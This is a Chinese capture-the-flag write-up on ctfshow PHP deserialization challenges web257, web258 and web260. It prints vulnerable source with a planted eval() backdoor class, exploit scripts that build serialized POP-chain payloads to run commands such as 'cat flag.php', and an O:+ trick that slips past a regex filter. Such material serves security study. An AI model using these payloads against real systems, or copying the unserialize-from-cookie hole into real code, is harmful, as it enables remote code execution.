16.题目16 web257.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php error_reporting (0 );highlight_file (__FILE__ );class ctfShowUser { private $username ='xxxxx' ; private $password ='xxxxx' ; private $isVip =false ; private $class = 'info' ; public function __construct ( ) { $this ->class =new info (); } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function __destruct ( ) { $this ->class ->getInfo (); } } class info { private $user ='xxxxx' ; public function getInfo ( ) { return $this ->user; } } class backDoor { private $code ; public function getInfo ( ) { eval ($this ->code); } } $username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ $user = unserialize ($_COOKIE ['user' ]); $user ->login ($username ,$password ); } ?>
有3个类:ctfShowUser 、info 、backDoor
其中 backDoor 类中 getInfo() 函数中的 eval() 函数可以作为pop链终点,执行任意命令。
要执行 eval($this->code) ,可以给code赋值为执行任意代码的值。且需要调用 backDoor 的 getInfo() 方法。找到了 ctfShowUser 类的 destruct() 方法可以调用到他。我们就需要让 $this->class 为 backDoor 类的对象就可以了。
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class ctfShowUser { public $class ; public function __construct ( ) { $this ->class =new backDoor ();//改写属性,让其构造危险实例 } } class backDoor { public $code ='cat flag.php' ; } $c =new ctfShowUser ();echo urlencode (serialize ($c ));?>
17.题目17 web258.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php class ctfShowUser { public $username ='xxxxx' ; public $password ='xxxxx' ; public $isVip =false ; public $class = 'info' ; public function __construct ( ) { $this ->class =new info (); } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function __destruct ( ) { $this ->class ->getInfo (); } } class info { public $user ='xxxxx' ; public function getInfo ( ) { return $this ->user; } } class backDoor { public $code ; public function getInfo ( ) { eval ($this ->code); } } $username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ if (!preg_match ('/[oc]:\d+:/i' , $_COOKIE ['user' ])) { $user = unserialize ($_COOKIE ['user' ]); } $user ->login ($username ,$password ); } ?>
1 2 3 4 preg_match('/[oc]:\d+:/i', $_COOKIE['user']) 表示user不能有 o:数字:或者c:数字:,并且不论o或c是大小写都匹配 如果O:或C:后面不跟数字的话就可以把这个绕过去了 可以用+号,具体原因是跟PHP底层代码有关,+号判断也是可以正常的反序列化的
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class ctfShowUser { public $class ; public function __construct ( ) { $this ->class =new backDoor ();//改写属性,让其构造危险实例 } } class backDoor { public $code ='phpinfo();' ; } $c =new ctfShowUser ();echo urlencode (serialize ($c ));?>
序列化后得到
1 O:11 :"ctfShowUser" :1 :{s:5 :"class" ;O:8 :"backDoor" :1 :{s:4 :"code" ;s:10 :"phpinfo();" ;}}
这里把O:后面加上一个加号
1 2 O:+11 :"ctfShowUser" :1 :{s:5 :"class" ;O:+8 :"backDoor" :1 :{s:4 :"code" ;s:10 :"phpinfo();" ;}} 之后再url编码再使用
1 O:+11 :"ctfShowUser" :1 :{s:5 :"class" ;O:+8 :"backDoor" :1 :{s:4 :"code" ;s:8 :"tac flag" ;}}
18.题目18 web260.php 1 2 3 4 5 6 7 8 <?php error_reporting (0 );highlight_file (__FILE__ );include ('flag.php' );if (preg_match ('/ctfshow_i_love_36D/' ,serialize ($_GET ['ctfshow' ]))) { echo $flag ; }
preg_match(): 表示序列化后的字符串满足 ctfshow_i_love_36D ,会返回 $flag 的值。
字符串逃逸:
https://www.cnblogs.com/M0urn/articles/17761214.html
https://www.bilibili.com/video/BV1Ry4y1e7x9/?spm_id_from=333.337.search-card.all.click&vd_source=62573cb67de72cd02730a59836e6f252
参考链接:
https://blog.csdn.net/m0_74013288/article/details/134360039